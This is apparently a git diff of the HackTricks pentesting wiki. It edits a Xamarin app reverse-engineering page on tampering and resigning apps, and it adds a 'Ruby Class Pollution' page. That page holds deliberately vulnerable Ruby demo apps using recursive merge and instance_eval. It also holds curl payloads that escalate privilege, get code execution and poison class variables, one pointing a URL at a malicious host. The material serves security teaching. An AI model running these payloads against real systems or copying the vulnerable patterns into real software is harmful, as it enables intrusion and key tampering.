GITBOOK-4426: No subject
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
||||||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||||
|
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||||
* [Email Injections](pentesting-web/email-injections.md)
|
* [Email Injections](pentesting-web/email-injections.md)
|
||||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Xamarin Apps
|
# Xamarin Apps
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,16 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
|
||||||
|
|
||||||
## **Basic Information**
|
## **Basic Information**
|
||||||
|
|
||||||
Xamarin is an **open-source platform** designed for developers to **build apps for iOS, Android, and Windows** using the .NET and C# frameworks. This platform offers access to numerous tools and extensions to create modern applications efficiently.
|
Xamarin is an **open-source platform** designed for developers to **build apps for iOS, Android, and Windows** using the .NET and C# frameworks. This platform offers access to numerous tools and extensions to create modern applications efficiently.
|
||||||
|
|
||||||
### Xamarin's Architecture
|
### Xamarin's Architecture
|
||||||
|
|
||||||
- For **Android**, Xamarin integrates with Android and Java namespaces through .NET bindings, operating within the Mono execution environment alongside the Android Runtime (ART). Managed Callable Wrappers (MCW) and Android Callable Wrappers (ACW) facilitate communication between Mono and ART, both of which are built on the Linux kernel.
|
* For **Android**, Xamarin integrates with Android and Java namespaces through .NET bindings, operating within the Mono execution environment alongside the Android Runtime (ART). Managed Callable Wrappers (MCW) and Android Callable Wrappers (ACW) facilitate communication between Mono and ART, both of which are built on the Linux kernel.
|
||||||
- For **iOS**, applications run under the Mono runtime, utilizing full Ahead of Time (AOT) compilation to convert C# .NET code into ARM assembly language. This process runs alongside the Objective-C Runtime on a UNIX-like kernel.
|
* For **iOS**, applications run under the Mono runtime, utilizing full Ahead of Time (AOT) compilation to convert C# .NET code into ARM assembly language. This process runs alongside the Objective-C Runtime on a UNIX-like kernel.
|
||||||
|
|
||||||
### .NET Runtime and Mono Framework
|
### .NET Runtime and Mono Framework
|
||||||
|
|
||||||
|
@ -38,8 +36,8 @@ Decompilation transforms compiled code back into source code. In Windows, the Mo
|
||||||
|
|
||||||
#### JIT vs AOT Compilation
|
#### JIT vs AOT Compilation
|
||||||
|
|
||||||
- **Android** supports Just-In-Time (JIT) and Ahead-Of-Time (AOT) compilation, with a Hybrid AOT mode for optimal execution speed. Full AOT is exclusive to Enterprise licenses.
|
* **Android** supports Just-In-Time (JIT) and Ahead-Of-Time (AOT) compilation, with a Hybrid AOT mode for optimal execution speed. Full AOT is exclusive to Enterprise licenses.
|
||||||
- **iOS** solely employs AOT compilation due to Apple's restrictions on dynamic code execution.
|
* **iOS** solely employs AOT compilation due to Apple's restrictions on dynamic code execution.
|
||||||
|
|
||||||
### Extracting dll Files from APK/IPA
|
### Extracting dll Files from APK/IPA
|
||||||
|
|
||||||
|
@ -49,7 +47,8 @@ To access the assemblies in an APK/IPA, unzip the file and explore the assemblie
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
|
|
||||||
For assembly blobs in Android, [pyxamstore](https://github.com/jakev/pyxamstore) can unpack them.
|
In cases where after decompiling the APK it's possible to see the unknown/assemblies/ folder with the `.dll` files inside it, so it's posible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) directly over the `.dlls` to analyze them.\
|
||||||
|
However, sometimes, it's found the `assemblies.blob` and `assemblies.manifest` files inside the unknown/assemblies/ folder. The tool [pyxamstore](https://github.com/jakev/pyxamstore) can be used for unpacking the `assemblies.blob` file in Xamarin apps, allowing access to the .NET assemblies for further analysis:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
|
@ -57,6 +56,11 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
|
|
||||||
iOS dll files are readily accessible for decompilation, revealing significant portions of the application code, which often shares a common base across different platforms.
|
iOS dll files are readily accessible for decompilation, revealing significant portions of the application code, which often shares a common base across different platforms.
|
||||||
|
|
||||||
|
### Static Analysis
|
||||||
|
|
||||||
|
Once the `.dll`s are obtained it's possible to analyze the .Net code statically using tools such as [**dnSpy**](https://github.com/dnSpy/dnSpy) **or** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **t**hat will allow to modify the code of the app. This can be super useful to tamper the application to bypass protections for example.\
|
||||||
|
Note that after modifying the app you will need to pack it back again and sign it again.
|
||||||
|
|
||||||
### Dynamic Analysis
|
### Dynamic Analysis
|
||||||
|
|
||||||
Dynamic analysis involves checking for SSL pinning and using tools like [Fridax](https://github.com/NorthwaveSecurity/fridax) for runtime modifications of the .NET binary in Xamarin apps. Frida scripts are available to bypass root detection or SSL pinning, enhancing analysis capabilities.
|
Dynamic analysis involves checking for SSL pinning and using tools like [Fridax](https://github.com/NorthwaveSecurity/fridax) for runtime modifications of the .NET binary in Xamarin apps. Frida scripts are available to bypass root detection or SSL pinning, enhancing analysis capabilities.
|
||||||
|
@ -67,14 +71,19 @@ Other interesting Frida scripts:
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||||
|
|
||||||
|
### Resigning
|
||||||
|
|
||||||
|
The tool [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) simplifies signing multiple APKs with the same key, and can be used to resign an app after changes have been performed to it.
|
||||||
|
|
||||||
## Further information
|
## Further information
|
||||||
|
|
||||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||||
|
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
450
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,450 @@
|
||||||
|
# Ruby Class Pollution
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||||
|
|
||||||
|
## Merge on Attributes
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||||
|
# Comments added to exploit the merge on attributes
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person
|
||||||
|
|
||||||
|
attr_accessor :name, :age, :details
|
||||||
|
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
@name = name
|
||||||
|
@age = age
|
||||||
|
@details = details
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method to merge additional data into the object
|
||||||
|
def merge_with(additional)
|
||||||
|
recursive_merge(self, additional)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authorize based on the `to_s` method result
|
||||||
|
def authorize
|
||||||
|
if to_s == "Admin"
|
||||||
|
puts "Access granted: #{@name} is an admin."
|
||||||
|
else
|
||||||
|
puts "Access denied: #{@name} is not an admin."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Health check that executes all protected methods using `instance_eval`
|
||||||
|
def health_check
|
||||||
|
protected_methods().each do |method|
|
||||||
|
instance_eval(method.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||||
|
def recursive_merge(original, additional, current_obj = original)
|
||||||
|
additional.each do |key, value|
|
||||||
|
|
||||||
|
if value.is_a?(Hash)
|
||||||
|
if current_obj.respond_to?(key)
|
||||||
|
next_obj = current_obj.public_send(key)
|
||||||
|
recursive_merge(original, value, next_obj)
|
||||||
|
else
|
||||||
|
new_object = Object.new
|
||||||
|
current_obj.instance_variable_set("@#{key}", new_object)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
else
|
||||||
|
current_obj.instance_variable_set("@#{key}", value)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
end
|
||||||
|
original
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
def check_cpu
|
||||||
|
puts "CPU check passed."
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_memory
|
||||||
|
puts "Memory check passed."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Admin class inherits from Person
|
||||||
|
class Admin < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"Admin"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Regular user class inherits from Person
|
||||||
|
class User < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
"User"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp
|
||||||
|
def self.run(json_input)
|
||||||
|
additional_object = JSON.parse(json_input)
|
||||||
|
|
||||||
|
# Instantiate a regular user
|
||||||
|
user = User.new(
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Perform a recursive merge, which could override methods
|
||||||
|
user.merge_with(additional_object)
|
||||||
|
|
||||||
|
# Authorize the user (privilege escalation vulnerability)
|
||||||
|
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.authorize
|
||||||
|
|
||||||
|
# Execute health check (RCE vulnerability)
|
||||||
|
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.health_check
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ARGV.length != 1
|
||||||
|
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
json_input = ARGV[0]
|
||||||
|
JSONMergerApp.run(json_input)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Explanation
|
||||||
|
|
||||||
|
1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
|
||||||
|
2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
|
||||||
|
1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
|
||||||
|
3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
|
||||||
|
|
||||||
|
### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
|
||||||
|
|
||||||
|
### ActiveSupport’s `deep_merge`
|
||||||
|
|
||||||
|
This isn't vulnerable by default but can be made vulnerable with something like: 
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||||
|
def merge_with(other_object)
|
||||||
|
merged_hash = to_h.deep_merge(other_object)
|
||||||
|
|
||||||
|
merged_hash.each do |key, value|
|
||||||
|
self.class.attr_accessor key
|
||||||
|
instance_variable_set("@#{key}", value)
|
||||||
|
end
|
||||||
|
|
||||||
|
self
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### Hashie’s `deep_merge`
|
||||||
|
|
||||||
|
Hashie’s `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
|
||||||
|
|
||||||
|
Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
|
||||||
|
|
||||||
|
Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'json'
|
||||||
|
require 'hashie'
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person < Hashie::Mash
|
||||||
|
|
||||||
|
# Method to merge additional data into the object using hashie
|
||||||
|
def merge_with(other_object)
|
||||||
|
deep_merge!(other_object)
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
# Authorize based on to_s
|
||||||
|
def authorize
|
||||||
|
if _.to_s == "Admin"
|
||||||
|
puts "Access granted: #{@name} is an admin."
|
||||||
|
else
|
||||||
|
puts "Access denied: #{@name} is not an admin."
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Admin class inherits from Person
|
||||||
|
class Admin < Person
|
||||||
|
def to_s
|
||||||
|
"Admin"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Regular user class inherits from Person
|
||||||
|
class User < Person
|
||||||
|
def to_s
|
||||||
|
"User"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp
|
||||||
|
def self.run(json_input)
|
||||||
|
additional_object = JSON.parse(json_input)
|
||||||
|
|
||||||
|
# Instantiate a regular user
|
||||||
|
user = User.new({
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
# Perform a deep merge, which could override methods
|
||||||
|
user.merge_with(additional_object)
|
||||||
|
|
||||||
|
# Authorize the user (privilege escalation vulnerability)
|
||||||
|
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||||
|
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||||
|
user.authorize
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if ARGV.length != 1
|
||||||
|
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
json_input = ARGV[0]
|
||||||
|
JSONMergerApp.run(json_input)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||||
|
|
||||||
|
In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'json'
|
||||||
|
require 'sinatra/base'
|
||||||
|
require 'net/http'
|
||||||
|
|
||||||
|
# Base class for both Admin and Regular users
|
||||||
|
class Person
|
||||||
|
@@url = "http://default-url.com"
|
||||||
|
|
||||||
|
attr_accessor :name, :age, :details
|
||||||
|
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
@name = name
|
||||||
|
@age = age
|
||||||
|
@details = details
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.url
|
||||||
|
@@url
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method to merge additional data into the object
|
||||||
|
def merge_with(additional)
|
||||||
|
recursive_merge(self, additional)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Recursive merge to modify instance variables
|
||||||
|
def recursive_merge(original, additional, current_obj = original)
|
||||||
|
additional.each do |key, value|
|
||||||
|
if value.is_a?(Hash)
|
||||||
|
if current_obj.respond_to?(key)
|
||||||
|
next_obj = current_obj.public_send(key)
|
||||||
|
recursive_merge(original, value, next_obj)
|
||||||
|
else
|
||||||
|
new_object = Object.new
|
||||||
|
current_obj.instance_variable_set("@#{key}", new_object)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
else
|
||||||
|
current_obj.instance_variable_set("@#{key}", value)
|
||||||
|
current_obj.singleton_class.attr_accessor key
|
||||||
|
end
|
||||||
|
end
|
||||||
|
original
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class User < Person
|
||||||
|
def initialize(name:, age:, details:)
|
||||||
|
super(name: name, age: age, details: details)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||||
|
class KeySigner
|
||||||
|
@@signing_key = "default-signing-key"
|
||||||
|
|
||||||
|
def self.signing_key
|
||||||
|
@@signing_key
|
||||||
|
end
|
||||||
|
|
||||||
|
def sign(signing_key, data)
|
||||||
|
"#{data}-signed-with-#{signing_key}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
class JSONMergerApp < Sinatra::Base
|
||||||
|
# POST /merge - Infects class variables using JSON input
|
||||||
|
post '/merge' do
|
||||||
|
content_type :json
|
||||||
|
json_input = JSON.parse(request.body.read)
|
||||||
|
|
||||||
|
user = User.new(
|
||||||
|
name: "John Doe",
|
||||||
|
age: 30,
|
||||||
|
details: {
|
||||||
|
"occupation" => "Engineer",
|
||||||
|
"location" => {
|
||||||
|
"city" => "Madrid",
|
||||||
|
"country" => "Spain"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
user.merge_with(json_input)
|
||||||
|
|
||||||
|
{ status: 'merged' }.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
# GET /launch-curl-command - Activates the first gadget
|
||||||
|
get '/launch-curl-command' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
# This gadget makes an HTTP request to the URL stored in the User class
|
||||||
|
if Person.respond_to?(:url)
|
||||||
|
url = Person.url
|
||||||
|
response = Net::HTTP.get_response(URI(url))
|
||||||
|
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||||
|
else
|
||||||
|
{ status: 'Failed to access URL variable' }.to_json
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Curl command to infect User class URL:
|
||||||
|
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||||
|
|
||||||
|
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||||
|
get '/sign_with_subclass_key' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
# This gadget signs data using the signing key stored in KeySigner class
|
||||||
|
signer = KeySigner.new
|
||||||
|
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||||
|
|
||||||
|
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||||
|
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||||
|
|
||||||
|
# GET /check-infected-vars - Check if all variables have been infected
|
||||||
|
get '/check-infected-vars' do
|
||||||
|
content_type :json
|
||||||
|
|
||||||
|
{
|
||||||
|
user_url: Person.url,
|
||||||
|
signing_key: KeySigner.signing_key
|
||||||
|
}.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
run! if app_file == $0
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### Poison Parent Class
|
||||||
|
|
||||||
|
With this payload:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
It's possible to modify the value of the **`@@url`** attribute of the parent class **`Person`**.
|
||||||
|
|
||||||
|
### **Poisoning Other Classes**
|
||||||
|
|
||||||
|
With this payload:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
It's possible to brute-force the defined classes and at some point poison the class **`KeySigner`** modifying the value of `signing_key` by `injected-signing-key`.\
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
||||||
# Parameter Pollution
|
# Parameter Pollution
|
||||||
|
|
||||||
|
## Parameter Pollution
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
